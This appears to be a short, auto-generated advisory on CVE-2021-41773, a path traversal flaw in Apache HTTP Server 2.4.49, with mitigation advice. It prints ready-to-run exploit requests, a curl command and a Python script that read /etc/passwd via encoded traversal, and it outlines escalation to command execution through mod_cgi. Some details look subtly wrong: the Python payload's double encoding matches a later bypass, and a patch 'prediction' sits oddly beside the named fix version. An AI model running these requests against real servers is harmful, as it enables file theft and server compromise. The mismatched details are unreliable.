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How the CVE Works:
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper validation of URLs in the `ap_normalize_path()` function, allowing attackers to bypass security restrictions. By crafting a malicious request with encoded directory traversal sequences (e.g., %2e%2e/), an attacker can access files outside the web root directory. If mod_cgi is enabled, remote code execution (RCE) becomes possible. The vulnerability stems from incomplete fixes for path normalization, enabling unauthorized access to sensitive system files.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2021-10-05
Prediction: Patch expected by 2021-10-07
What Undercode Say:
curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
import requests
r = requests.get("http://vuln-server/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd")
print(r.text)
How Exploit:
- Craft malicious HTTP requests with URL-encoded traversal sequences.
- Exploit mod_cgi to execute arbitrary commands if enabled.
Protection from this CVE:
- Upgrade to Apache 2.4.50.
- Disable mod_cgi if unused.
- Implement strict URL sanitization.
Impact:
- Unauthorized file disclosure.
- Remote code execution (if mod_cgi active).
- System compromise.
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
